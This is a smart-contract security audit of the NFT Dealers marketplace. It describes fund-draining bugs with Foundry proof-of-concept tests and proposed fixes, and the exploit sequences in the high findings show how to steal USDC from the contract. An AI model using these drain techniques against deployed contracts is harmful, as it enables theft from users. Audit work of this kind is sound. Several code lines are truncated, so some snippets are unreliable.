



PUBLIC AUDIT RELEASE

NFT Dealers Security Review

by fuzz755

Table of Contents

About fuzz755

Disclaimer

Risk Classification

Protocol Summary

Executive Summary

Scope

Findings

Findings Count

Findings Summary

High Findings

[H-1] Malicious whitelisted users can drain all the contract funds, making sellers lose their pending payments

[H-2] Users can buy their own NFT and drain the contract USDC balance with the ``collectUsdcFromSelling`` function

[H-3] Unsafe downcasting of listings' prices to ``uint32`` causes a price limitation

[H-4] Users can get any NFT for free if the seller did not collect the payment fast enough

Medium Findings

[M-1] Users can get their locked collateral back after minting an NFT, which is breaking the feature

Informational Findings

[I-1] Payable functions are not supposed to receive Ether

[I-2] Comments of the ``calculateFees`` function are making a wrong assumption

Gas Findings

[G-1] The ``InvalidAddress`` error will never be triggered and can be removed

[G-2] Metadata state variables implementation is redundant and can be removed

[G-3] Useless parameters inside of the ``Listing`` struct can be removed

[G-4] Blocking owner from calling ``mintNft`` can be done through the whitelist system

[G-5] The ``collectUsdcFromSelling`` function is performing a useless USDC transfer

[G-6] Redundant `isWhitelisted` external function can be removed

About fuzz755

fuzz755 is an independent smart contracts security researcher. Having found numerous security vulnerabilities in various protocols, he does his best to contribute to the blockchain ecosystem and its protocols by putting time and effort into security research & reviews. Check previous work here or reach out on Twitter @fuzz755.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where I try to find as many vulnerabilities as possible. I cannot guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

Risk Classification

	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	High	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact

- **High:** leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- **Medium:** leads to a moderate material loss of assets in the protocol or moderately harms a group of users.
- **Low:** leads to a minor material loss of assets in the protocol or harms a small group of users.

Likelihood

- **High:** attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- **Medium:** only a conditionally incentivized attack vector, but still relatively likely.

- **Low:** has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

Protocol Summary

NFT Dealers is a NFT marketplace with pre-set supply, and resell option with Progressive fee 1, 3 or 5%. NFTs can be sold by users on any price, but the fee will grow with the resell price. Can be used for in-game events, ticketing system, no limited to any specific purpose.

| Roles

Owner:

- deploy the smart contract and set parameters (collateral, collection name, image, symbol, etc.)
- whitelist or remove from whitelist wallets
- `reveal` the protocol
- withdraw fees

Whitelisted user/wallet:

- mint NFT
- buy, update price, cancel listing, list NFT
- collect USDC after selling

Non whitelisted user/wallet:

- cannot mint
- buy, update price, cancel listing, list NFT
- collect USDC after selling

Executive Summary

A time-boxed security review of the NFT Dealers repository was conducted by **fuzz755**, from 2026-03-14 — 2026-03-15. A total of **13** issues were uncovered.

Scope

Protocol	NFT Dealers
Protocol Type	NFT Marketplace
Audit Date	2026-03-14 — 2026-03-15
Audit Version	1.0
Repository	https://github.com/CodeHawks-Contests/2026-03-NFT-dealers.git
Review Commit Hash	f34038b7b948...

In-Scope Files

`./src/MockUSDC.sol`

`./src/NFTDealers.sol`

Findings

Findings Count

Severity	Count
High	4
Medium	1
Informational	2
Gas	6
Total	13

Findings Summary

ID	Title	Severity	Status
[H-1]	Malicious whitelisted users can drain all the contract funds, making sellers lose their pending payments	High	Pending
[H-2]	Users can buy their own NFT and drain the contract USDC balance with the `collectUsdcFromSelling` function	High	Pending
[H-3]	Unsafe downcasting of listings' prices to `uint32` causes a price limitation	High	Pending
[H-4]	Users can get any NFT for free if the seller did not collect the payment fast enough	High	Pending
[M-1]	Users can get their locked collateral back after minting an NFT, which is breaking the feature	Medium	Pending
[I-1]	Payable functions are not supposed to receive Ether	Informational	Pending
[I-2]	Comments of the `calculateFees` function are making a wrong assumption	Informational	Pending
[G-1]	The `InvalidAddress` error will never be triggered and can be removed	Gas	Pending
[G-2]	Metadata state variables implementation is redundant and can be removed	Gas	Pending

ID	Title	Severity	Status
[G-3]	Useless parameters inside of the `Listing` struct can be removed	Gas	Pending
[G-4]	Blocking owner from calling `mintNft` can be done through the whitelist system	Gas	Pending
[G-5]	The `collectUsdcFromSelling` function is performing a useless USDC transfer	Gas	Pending
[G-6]	Redundant `isWhitelisted` external function can be removed	Gas	Pending

High Findings

[H-1] Malicious whitelisted users can drain all the contract funds, making sellers lose their pending payments

HIGH

Pending

DESCRIPTION

When a user buys an NFT, the payment is sent to the smart contract account. The seller then needs to call the `collectUsdcFromSelling` function to receive the funds. This function is intended to send the NFT price (minus fee) to the seller when the NFT has been successfully sold. However, instead of checking if the NFT has been successfully sold, it only checks if the listing is inactive to allow the USDC collection. Buying an inactive listing is not necessarily a fulfilled listing because the `cancelListing` function allows the seller to set it as inactive. This is a critical issue because the USDC balance of the contract can be drained by any whitelisted user.

```
function cancelListing(uint256 _listingId) external {
    Listing memory listing = s_listings[_listingId];
    @> if (!listing.isActive) revert ListingNotActive(_listingId);
    require(listing.seller == msg.sender, "Only seller can cancel listing");

    s_listings[_listingId].isActive = false;
    activeListingsCounter--;

    usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
    collateralForMinting[listing.tokenId] = 0;

    emit NFT_Dealers_ListingCanceled(_listingId);
}
```

IMPACT

- Sellers will lose all their payments
- Minters will lose all their collateral
- The contract can't hold any USDC safely

PROOF OF CONCEPT

Actors:

- Attacker: A malicious user that will drain all the contract funds
- Seller: A normal user minting and selling an NFT to buyer

- Buyer: A normal user buying the NFT of seller

Proof of Code:

```
function testDrainContractByCollectingUsdcFromSelling() public {
    // Attacker and seller have to be whitelisted and the collection revealed
    vm.startPrank(owner);
    nftDealers.whitelistWallet(attacker);
    nftDealers.whitelistWallet(seller);
    nftDealers.revealCollection();
    vm.stopPrank();

    // Seller mints and lists an NFT
    uint256 tokenId = 1;
    uint32 tokenPrice = 1000e6;
    vm.startPrank(seller);
    usdc.approve(address(nftDealers), 20e6);
    nftDealers.mintNft();
    nftDealers.list(tokenId, uint32(tokenPrice));
    vm.stopPrank();

    // A buyer buys the NFT
    vm.startPrank(buyer);
    usdc.approve(address(nftDealers), tokenPrice);
    nftDealers.buy(tokenId);
    vm.stopPrank();

    // The payment was sent from the buyer to the contract, but the seller is sleeping
    // The attacker will drain the funds while the seller is sleeping:

    // The Attacker calculates what price he should use to drain all the contract funds
    // The calculation is quite hard because we need to calculate how much the fee is
    uint256 numerator = usdc.balanceOf(address(nftDealers)) * MAX_BPS;
    uint256 denominator = MAX_BPS - MID_FEE_BPS;
    uint256 calculatedTokenPrice = numerator / denominator;

    // Attacker mints and lists an NFT, and then instantly cancels it
    uint256 attackTokenId = 2;
    uint32 attackTokenPrice = uint32(calculatedTokenPrice);
    vm.startPrank(attacker);
    usdc.approve(address(nftDealers), 20e6);
    nftDealers.mintNft();
    nftDealers.list(attackTokenId, uint32(attackTokenPrice));
    nftDealers.cancelListing(attackTokenId);
    vm.stopPrank();

    uint256 attackerBalanceBeforeCollecting = usdc.balanceOf(attacker);
    uint256 contractBalanceBeforeCollecting = usdc.balanceOf(address(nftDealers));
}
```

```

// The attacker's listing status is inactive, he can now collect fees because it
vm.startPrank(attacker);
nftDealers.collectUsdcFromSelling(attackTokenId);

// Attacker earned the whole contract balance
vm.assertEq(usdc.balanceOf(address(nftDealers)), 0);
vm.assertEq(usdc.balanceOf(attacker), attackerBalanceBeforeCollecting + contractBalance);
}

```

RECOMMENDED MITIGATION

Add a property to the **Listing** object that will allow the function `collectUsdcFromSelling` to check that the NFT's payment claim is pending:

```

struct Listing {
    address seller;
    uint32 price;
    address nft;
    uint256 tokenId;
    bool isActive;
+   bool claimPending
}

function buy(uint256 _listingId) external payable {
    ...

    s_listings[_listingId].isActive = false;
+   s_listings[_listingId].claimPending = true;

    emit NFT_Dealers_Sold(msg.sender, listing.price);
}

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
    ...

    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;
+   s_listings[_listingId].claimPending = false;

    usdc.safeTransfer(address(this), fees);
    usdc.safeTransfer(msg.sender, amountToSeller);
}

```

[H-2] Users can buy their own NFT and drain the contract USDC balance with the `collectUsdcFromSelling` function

HIGH

Pending

DESCRIPTION

Users should not be able to buy their own NFT because of this line:

```
function buy(uint256 _listingId) external payable {
    Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    @> require(listing.seller != msg.sender, "Seller cannot buy their own NFT");

    ...
}
```

However, this requirement is not preventing users from buying their own NFT because they can use multiple accounts. At first glance, this may appear to be a low severity issue if you don't understand the impact of this bug. Letting users buy their own NFTs leads to a critical vulnerability where a user can drain all the contract USDC balance.

The attack is related to a poor implementation of `collateralForMinting`:

```
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId)
    Listing memory listing = s_listings[_listingId];
    require(!listing.isActive, "Listing must be inactive to collect USDC");

    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    @> uint256 collateralToReturn = collateralForMinting[listing.tokenId];

    totalFeesCollected += fees;
    @> amountToSeller += collateralToReturn;
    usdc.safeTransfer(address(this), fees);
    @> usdc.safeTransfer(msg.sender, amountToSeller);
}
```

The collateral should be reset to zero after being collected by a user. However, in the `collectUsdcFromSelling` function, the collateral is sent to `msg.sender` and the mapping is not updated. There is a way for an attacker to take advantage of this bug by repeatedly selling an NFT to himself and collecting the lockAmount multiple times, until the contract balance is completely drained.

IMPACT

- Sellers will lose all their payments
- Minters will lose all their collateral
- The contract can't hold any USDC safely

PROOF OF CONCEPT

Actors:

- Attacker: A malicious user that will sell and buy his own NFT with 2 accounts
- Seller: A normal user minting and selling an NFT to buyer
- Buyer: A normal user buying the NFT of seller

Proof of Code:

```
function testBuyOwnNft() public {  
    // Users' and attackers' accounts must be whitelisted and the collection revealed  
    vm.startPrank(owner);  
    nftDealers.whitelistWallet(seller);  
    nftDealers.whitelistWallet(buyer);  
    nftDealers.whitelistWallet(attacker1);  
    nftDealers.whitelistWallet(attacker2);  
    nftDealers.revealCollection();  
    vm.stopPrank();  
  
    // Seller mints and lists an NFT  
    uint256 tokenId = 1;  
    uint32 tokenPrice = 1000e6;  
    vm.startPrank(seller);  
    usdc.approve(address(nftDealers), 20e6);  
    nftDealers.mintNft();  
    nftDealers.list(tokenId, uint32(tokenPrice));  
    vm.stopPrank();  
  
    // A buyer buys the NFT  
    vm.startPrank(buyer);  
    usdc.approve(address(nftDealers), tokenPrice);  
    nftDealers.buy(tokenId);  
    vm.stopPrank();  
  
    // Here the contract USDC balance is 1000 + 20 USDC  
    vm.assertEq(usdc.balanceOf(address(nftDealers)), 1020e6);  
  
    // Attacker mints and lists an NFT (he locks 20 USDC as collateral)  
    // The price is set to the minimum (1 USDC) to minimize fees
```

```

vm.assertEq(usdc.balanceOf(attacker1) + usdc.balanceOf(attacker2), 21e6); // Att
uint256 attacktokenId = 2;
uint32 attackTokenPrice = 1e6;
vm.startPrank(attacker1);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.mintNft();
nftDealers.list(attacktokenId, uint32(attackTokenPrice));
vm.stopPrank();

// Attacker buys his own NFT with another account
// He only loses 0.01 USDC in fees because of the low NFT price
vm.startPrank(attacker2);
usdc.approve(address(nftDealers), type(uint256).max);
nftDealers.buy(attacktokenId);
vm.stopPrank();

// Attacker can now collect fees
vm.prank(attacker1);
nftDealers.collectUsdcFromSelling(attacktokenId);
vm.assertEq(usdc.balanceOf(attacker1) + usdc.balanceOf(attacker2), 20.99e6); //

// Now the attacker can sell the NFT to himself again, until the contract balance
while (usdc.balanceOf(address(nftDealers)) > 40e6) {
    // attacker2 sells to attacker1
    vm.prank(attacker2);
    nftDealers.list(attacktokenId, uint32(attackTokenPrice));
    vm.prank(attacker1);
    nftDealers.buy(attacktokenId);
    vm.prank(attacker2);
    nftDealers.collectUsdcFromSelling(attacktokenId);

    // attacker1 sells to attacker2
    vm.prank(attacker1);
    nftDealers.list(attacktokenId, uint32(attackTokenPrice));
    vm.prank(attacker2);
    nftDealers.buy(attacktokenId);
    vm.prank(attacker1);
    nftDealers.collectUsdcFromSelling(attacktokenId);
}

// Attacker has drained almost all the contract balance
vm.assertGt(usdc.balanceOf(attacker1) + usdc.balanceOf(attacker2), 1020e6);
vm.assertLt(usdc.balanceOf(address(nftDealers)), 40e6);
}

```

RECOMMENDED MITIGATION

You can't prevent users from buying their own NFT, instead you should update the

`collateralForMinting` mapping state:

```
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId)
    ...

+   collateralForMinting[listing.tokenId] = 0;
    usdc.safeTransfer(address(this), fees);
    usdc.safeTransfer(msg.sender, amountToSeller);
}
```

[H-3] Unsafe downcasting of listings' prices to `uint32` causes a price limitation

HIGH

Pending

DESCRIPTION

In the definition of the `Listing` struct, the type of `price` is `uint32`. This means that the price of a listing can never exceed $2^{32}-1$ (4294967295), which is equivalent to 4294.967295 USDC. This is a critical issue because the app is supposed to allow higher prices than 10,000 USDC, which is the `MID_FEE_THRESHOLD`. Moreover, if the frontend is not handling type casting correctly, the listing price can be silently truncated, resulting in a loss of funds if the user does not notice it.

```
struct Listing {
    address seller;
    @> uint32 price;
    address nft;
    uint256 tokenId;
    bool isActive;
}
```

IMPACT

- Price is limited to approximatively 4295 USDC
- Frontend can silently truncate user's listing price
- The protocol will generate fewer fees than expected

PROOF OF CONCEPT

Actors:

- Seller: A normal user minting an NFT and trying to sell it

Proof of Code:

```
function testPriceLimit() public {
    // Seller has to be whitelisted and the collection revealed
    vm.startPrank(owner);
    nftDealers.whitelistWallet(seller);
    nftDealers.revealCollection();
    vm.stopPrank();

    // Seller mints an NFT and tries to list it at a price higher than 2**32-1
    uint256 tokenId = 1;
    uint256 tokenPrice = 4295967296; // 4295.967296 USDC
    vm.startPrank(seller);
    usdc.approve(address(nftDealers), 20e6);
    nftDealers.mintNft();

    // We need to cast the price to uint32 because it's the type of the price parameter
    uint32 castedTokenPrice = uint32(tokenPrice);
    nftDealers.list(tokenId, castedTokenPrice);
    vm.stopPrank();

    // The NFT is listed at a price of 1 USDC instead of 4295.967296 USDC
    (, uint32 storedPrice, , , ) = nftDealers.s_listings(tokenId);
    vm.assertEq(storedPrice, 1e6);
}
```

RECOMMENDED MITIGATION

Use `uint256` for the price of the `Listing` object.

```
struct Listing {
    address seller;
    - uint32 price;
    + uint256 price;
    address nft;
    uint256 tokenId;
    bool isActive;
}

...

- function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
+ function list(uint256 _tokenId, uint256 _price) external onlyWhitelisted {
```

```
- function updatePrice(uint256 _listingId, uint32 _newPrice) external onlySeller(_listingId) {
+ function updatePrice(uint256 _listingId, uint256 _newPrice) external onlySeller(_listingId) {
```

[H-4] Users can get any NFT for free if the seller did not collect the payment fast enough

HIGH

Pending

DESCRIPTION

The listings IDs are always matching the token ID of the NFT for sale. For example, the NFT #5 will always be sold in the listing #5. This feature leads to an important complexity in some functions. When an NFT is sold through a listing, the payment is sitting inside the contract account. To collect this payment, the seller needs to call the `collectUsdcFromSelling` function. This function is supposed to check if the caller is the NFT seller through the modifier `onlySeller(_listingId)`. If we look closely at this modifier's code, we can see a problem here:

```
modifier onlySeller(uint256 _listingId) {
@> require(s_listings[_listingId].seller == msg.sender, "Only seller can call this");
}
```

The modifier checks if the `msg.sender` is the seller of the listing. But the listing is now inactive and completely obsolete as it has been filled by the buyer. The latter now has full control of the listing and can become the new seller by calling `list` on the listing/token ID. If the seller did not collect his payment before the buyer lists the NFT back, the buyer will be able to collect the total amount of USDC that he previously paid, resulting in a free NFT for him and permanently lost funds for the seller.

IMPACT

- Sellers will lose their payments and collateral
- Buyers can get NFTs for free
- Buyers can steal sellers' collateral

PROOF OF CONCEPT

Actors:

- Seller: A normal user minting an NFT and selling it
- Attacker: A malicious user stealing the NFT from Seller

Proof of Code:

```
function testAttackerCanStealNftFromSeller() public {
    // Attacker and seller have to be whitelisted and the collection revealed
    vm.startPrank(owner);
    nftDealers.whitelistWallet(attacker);
    nftDealers.whitelistWallet(seller);
    nftDealers.revealCollection();
    vm.stopPrank();

    // Seller mints and lists an NFT
    uint256 tokenId = 1;
    uint32 tokenPrice = 1000e6;
    vm.startPrank(seller);
    usdc.approve(address(nftDealers), 20e6);
    nftDealers.mintNft();
    nftDealers.list(tokenId, uint32(tokenPrice));
    vm.stopPrank();

    // Attacker buys the NFT and instantly list it back
    uint256 attackerUsdcBalanceBefore = usdc.balanceOf(attacker);
    vm.startPrank(attacker);
    usdc.approve(address(nftDealers), tokenPrice);
    nftDealers.buy(tokenId);
    nftDealers.list(tokenId, uint32(tokenPrice));
    vm.stopPrank();

    // Seller can no longer collect the payment
    vm.startPrank(seller);
    vm.expectRevert("Only seller can call this function");
    nftDealers.collectUsdcFromSelling(tokenId);
    vm.stopPrank();

    // Attacker can cancel the listing to set the listing as inactive, and then collect
    vm.startPrank(attacker);
    nftDealers.cancelListing(tokenId);
    nftDealers.collectUsdcFromSelling(tokenId);
    vm.stopPrank();

    // Attacker has stolen the NFT and the seller's collateral
    vm.assertEq(nftDealers.ownerOf(tokenId), attacker);
    vm.assertGt(usdc.balanceOf(attacker), attackerUsdcBalanceBefore);
}
```

RECOMMENDED MITIGATION

Listings should have a different indexation than NFTs, but it would imply to change the structure of the code.

A better solution would be to send the payment directly to the seller instead of letting funds sit in the contract account. Make sure to respect CEI to avoid reentrancy vulnerabilities:

```
function buy(uint256 _listingId) external payable {
    Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    require(listing.seller != msg.sender, "Seller cannot buy their own NFT");

    activeListingsCounter--;

    - bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
    - require(success, "USDC transfer failed");
    _safeTransfer(listing.seller, msg.sender, listing.tokenId, "");

    s_listings[_listingId].isActive = false;
    + bool success = usdc.transferFrom(msg.sender, listing.seller, listing.price);
    + require(success, "USDC transfer failed");

    emit NFT_Dealers_Sold(msg.sender, listing.price);
}
```

Medium Findings

[M-1] Users can get their locked collateral back after minting an NFT, which is breaking the feature

MEDIUM

Pending

DESCRIPTION

The `lockAmount` immutable variable is intended to be a USDC amount locked by users when they mint an NFT. This amount is locked in the contract and tracked with the `collateralForMinting(tokenId ⇒ lockAmount)` mapping. There are 2 ways for a user to get their locked amount back:

1. By calling `cancelListing`, he will receive the locked amount of USDC and the `collateralForMinting` mapping will be set to zero for this unlisted token.
2. By calling `collectUsdcFromSelling`, he will receive the locked amount of USDC, but the `collateralForMinting` mapping will not be updated for the listing's token.

In this finding, we will only talk about the first way to get the tokens back. This issue makes the locked tokens feature completely useless because any user can get the locked tokens back easily.

```
function cancelListing(uint256 _listingId) external {
    Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    require(listing.seller == msg.sender, "Only seller can cancel listing");

    s_listings[_listingId].isActive = false;
    activeListingsCounter--;

    @> usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
    collateralForMinting[listing.tokenId] = 0;

    emit NFT_Dealers_ListingCanceled(_listingId);
}
```

This can look like a low-impact vulnerability because the default lockAmount is 20 USDC, but on other applications, it can be much higher for specific purposes.

IMPACT

- The USDC lock-on-mint feature is not working

PROOF OF CONCEPT

Actors:

- Seller: A user minting an NFT and getting his locked USDC back by canceling his listing

Proof of Code:

```
function testGetCollateralBack() public {
    // Seller has to be whitelisted and the collection revealed
    vm.startPrank(owner);
    nftDealers.whitelistWallet(seller);
    nftDealers.revealCollection();
    vm.stopPrank();

    // The seller locks 20 USDC as collateral to mint an NFT
    vm.assertEq(usdc.balanceOf(seller), 20e6); // Seller has 20 USDC before minting
    uint256 tokenId = 1;
    uint32 tokenPrice = 1000e6;
    vm.startPrank(seller);
    usdc.approve(address(nftDealers), 20e6);
    nftDealers.mintNft();

    // The seller locked 20 USDC to mint the NFT but he can get them back by calling
    vm.assertEq(usdc.balanceOf(seller), 0); // Seller has 0 USDC because he locked it
    nftDealers.list(tokenId, uint32(tokenPrice));
    nftDealers.cancelListing(tokenId);
    vm.stopPrank();

    // Seller got back the 20 USDC collateral and still owns an unlisted NFT that can be sold
    vm.assertEq(usdc.balanceOf(seller), 20e6);
}
```

RECOMMENDED MITIGATION

Don't refund the collateral to the seller on listing cancellation. If you want to let users get their locked USDC back if they didn't manage to sell an NFT, it should be done through a custom burn function.

```
function cancelListing(uint256 _listingId) external {
    Listing memory listing = s_listings[_listingId];
    if (!listing.isActive) revert ListingNotActive(_listingId);
    require(listing.seller == msg.sender, "Only seller can cancel listing");

    s_listings[_listingId].isActive = false;
    activeListingsCounter--;
```

```
- usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);  
- collateralForMinting[listing.tokenId] = 0;  
  
    emit NFT_Dealers_ListingCanceled(_listingId);  
}
```

Informational Findings

[I-1] Payable functions are not supposed to receive Ether

INFO

Pending

DESCRIPTION

The 2 functions `mintNft` and `buy` are marked as `payable`, but they are not supposed to receive any Ether. All the payments are processed in USDC. The keyword can be removed to prevent users from sending Ether to the smart contract.

```
@> function mintNft() external payable onlyWhenRevealed onlyWhitelisted {  
  
@> function buy(uint256 _listingId) external payable {
```

RECOMMENDED MITIGATION

Remove the `payable` keyword:

```
- function mintNft() external payable onlyWhenRevealed onlyWhitelisted {  
+ function mintNft() external onlyWhenRevealed onlyWhitelisted {  
  
- function buy(uint256 _listingId) external payable {  
+ function buy(uint256 _listingId) external {
```

[I-2] Comments of the `calculateFees` function are making a wrong assumption

INFO

Pending

DESCRIPTION

According to the smart contract comments, the `calculateFees` function is supposed to be removed from production to avoid being used by malicious actors:

```
function calculateFees(uint256 price) external pure returns (uint256) {  
@> // for testing purposes, we want to be able to call this function directly to c  
@> // must be removed before production deployment, as it can be gamed by malicious  
    return _calculateFees(price);  
}
```


However, this function is a simple wrapper of the `_calculateFees` pure function that is processing public data. Even if it is marked as `internal`, these data can be processed externally by any actor who wants to replicate its behavior.

RECOMMENDED MITIGATION

Fix every vulnerability that can be exploited through this function.

Gas Findings

[G-1] The 'InvalidAddress' error will never be triggered and can be removed

GAS

Pending

DESCRIPTION

The `mintNft` function is checking if the `msg.sender` is the zero address, and reverts in this case. However, a transaction can only be sent by an EOA or a contract account. For this reason, the assertion `msg.sender = address(0)` will never be true. The requirement is consuming gas on every mint for no reason.

```
@> error InvalidAddress();
```

RECOMMENDED MITIGATION

Remove the `InvalidAddress` error:

```
- error InvalidAddress();

...

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
-   if (msg.sender == address(0)) revert InvalidAddress();
```

[G-2] Metadata state variables implementation is redundant and can be removed

GAS

Pending

DESCRIPTION

The contract implements 3 state variables that can be removed:

1. `string public collectionName`: already accessible with the `name` public function inherited from `ERC721`.
2. `string public tokenSymbol`: already accessible with the `symbol` public function inherited from `ERC721`.

3. `bool public metadataFrozen`: this variable is declared but never used, it should definitely be removed.

Storing and initializing these variables in the constructor is inflating the creation bytecode size, causing higher deployment gas cost.

```
@> string public collectionName;  
@> string public tokenSymbol;  
@> bool public metadataFrozen;
```

RECOMMENDED MITIGATION

Delete the 3 state variables:

```
- string public collectionName;  
- string public tokenSymbol;  
- bool public metadataFrozen;  
  
constructor(  
    address _owner,  
    address _usdc,  
    string memory _collectionName,  
    string memory _symbol,  
    string memory _collectionImage,  
    uint256 _lockAmount  
) ERC721(_collectionName, _symbol) {  
    owner = _owner;  
    usdc = IERC20(_usdc);  
- collectionName = _collectionName;  
- tokenSymbol = _symbol;  
    collectionImage = _collectionImage;  
    lockAmount = _lockAmount;  
}
```

[G-3] Useless parameters inside of the `Listing` struct can be removed

GAS

Pending

DESCRIPTION

The `Listing` struct contains 2 parameters that are useless in the contract context:

```

struct Listing {
    address seller;
    uint32 price;
    @> address nft;
    @> uint256 tokenId;
    bool isActive;
}

```

1. The `nft` parameter is only used inside the `list` function, when the listing is created. Its value is always set to `address(this)` so it can be removed without any impact. If we need to access the NFT address, we can directly call `address(this)` instead of using the object parameter `nft`:

```

s_listings[_tokenId] = Listing({
    seller: msg.sender,
    price: _price,
    @> nft: address(this),
    tokenId: _tokenId,
    isActive: true
});

```

2. The `tokenId` parameter of listings is always matching the listing id. We don't need to track both the token id and the listing id, so we can get rid of this parameter as well.

RECOMMENDED MITIGATION

Delete the useless parameters:

```

s_listings[_tokenId] = Listing({
    seller: msg.sender,
    price: _price,
    - nft: address(this),
    - tokenId: _tokenId,
    isActive: true
});

...

function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
    ...

    s_listings[_tokenId] =
    - Listing({seller: msg.sender, price: _price, nft: address(this), tokenId: _tokenId});
    + Listing({seller: msg.sender, price: _price, isActive: true});
}

```

```

    ...
}

function buy(uint256 _listingId) external payable {
    ...

-   _safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
+   _safeTransfer(listing.seller, msg.sender, _listingId, "");

    ...
}

function cancelListing(uint256 _listingId) external {
    ...

-   usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
-   collateralForMinting[listing.tokenId] = 0;
+   usdc.safeTransfer(listing.seller, collateralForMinting[_listingId]);
+   collateralForMinting[_listingId] = 0;

    ...
}

```

[G-4] Blocking owner from calling `mintNft` can be done through the whitelist system

GAS

Pending

DESCRIPTION

The contract owner is not allowed to call the `mintNft` function because of this line:

```

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
    if (msg.sender == address(0)) revert InvalidAddress();
    require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
@> require(msg.sender != owner, "Owner can't mint NFTs");

    require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");

    tokenIdCounter++;

    collateralForMinting[tokenIdCounter] = lockAmount;
    _safeMint(msg.sender, tokenIdCounter);
}

```

This check will be performed on every mint and will increase the transaction cost. However, the protocol already implements a whitelist system to restrict the access to `mintNft`. If the owner is not whitelisted, he will not be able to mint an NFT, which is the case by default. If we want to make sure that the owner account will never be able to mint an NFT, we can block the owner from whitelisting his own address, through the `whitelistWallet` function. However, this will not stop the owner from creating another account that he can whitelist to mint an NFT.

RECOMMENDED MITIGATION

Perform the check in the `whitelistWallet` function:

```
function whitelistWallet(address _wallet) external onlyOwner {
+   require(_wallet != owner, "Owner can't mint NFTs")
    whitelistedUsers[_wallet] = true;
}

function mintNft() external payable onlyWhenRevealed onlyWhitelisted {
    if(msg.sender == address(0)) revert InvalidAddress();
    require(tokenIdCounter < MAX_SUPPLY, "Max supply reached");
-   require(msg.sender != owner, "Owner can't mint NFTs");

    require(usdc.transferFrom(msg.sender, address(this), lockAmount), "USDC transfer failed");

    tokenIdCounter++;

    collateralForMinting[tokenIdCounter] = lockAmount;
    _safeMint(msg.sender, tokenIdCounter);
}
```

This will NOT prevent the owner from minting NFTs through another whitelisted account.

[G-5] The `collectUsdcFromSelling` function is performing a useless USDC transfer

GAS

Pending

DESCRIPTION

The smart contract is sending the progressive fees to itself when the `collectUsdcFromSelling` function is triggered. This external call is useless and is consuming a lot of gas:

```

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId)
    Listing memory listing = s_listings[_listingId];
    require(!listing.isActive, "Listing must be inactive to collect USDC");

    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];

    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;
    @> usdc.safeTransfer(address(this), fees);
    usdc.safeTransfer(msg.sender, amountToSeller);
}

```

RECOMMENDED MITIGATION

Remove the useless external call:

```

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId)
    Listing memory listing = s_listings[_listingId];
    require(!listing.isActive, "Listing must be inactive to collect USDC");

    uint256 fees = _calculateFees(listing.price);
    uint256 amountToSeller = listing.price - fees;
    uint256 collateralToReturn = collateralForMinting[listing.tokenId];

    totalFeesCollected += fees;
    amountToSeller += collateralToReturn;
    - usdc.safeTransfer(address(this), fees);
    usdc.safeTransfer(msg.sender, amountToSeller);
}

```

[G-6] Redundant `isWhitelisted` external function can be removed

GAS

Pending

DESCRIPTION

The smart contract implements a getter for the whitelisted user but the mapping is already public. Public mappings already implement an accessor function, making the custom function redundant and increasing the deployment gas cost:

```
@> function isWhitelisted(address _user) external view returns (bool) {  
@>     return whitelistedUsers[_user];  
@> }
```

RECOMMENDED MITIGATION

Delete this function:

```
- function isWhitelisted(address _user) external view returns (bool) {  
-     return whitelistedUsers[_user];  
- }
```
